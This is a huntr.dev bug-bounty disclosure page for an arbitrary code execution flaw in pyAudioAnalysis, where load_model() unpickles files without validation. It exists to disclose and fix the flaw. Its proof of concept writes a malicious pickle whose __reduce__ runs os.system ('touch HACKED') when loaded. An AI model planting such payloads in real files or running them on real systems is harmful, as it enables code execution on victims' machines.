Security Fix for Arbitrary Code Execution - huntr.dev

https://huntr.dev/users/d3m0n-r00t has fixed the Arbitrary Code Execution vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

User Comments:

📊 Metadata *

Fixed Arbitrary code execution in pyAudioAnalysis

Bounty URL: https://www.huntr.dev/bounties/1-other-pyAudioAnalysis

⚙️ Description *

pyAudioAnalysis is an open Python library that provides a wide range of audio-related functionalities focusing on feature extraction, classification, segmentation and visualization issues. This package is vulnerable to Arbitrary Code Execution.

💻 Technical Description *

The function load_model() blindly loads a pickle file without any validation making it vulnerable to Arbitrary Code Execution. If the input pickle file is a malicious payload, create a file remotely.

🐛 Proof of Concept (PoC) *

import pickle
import os
from pyAudioAnalysis import audioTrainTest as aT

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('touch HACKED', ))

payload = pickle.dumps(EvilPickle())

with open('MEANS', 'wb') as file:
    file.write(payload)

aT.load_model('')

Screenshot 2021-01-08 092958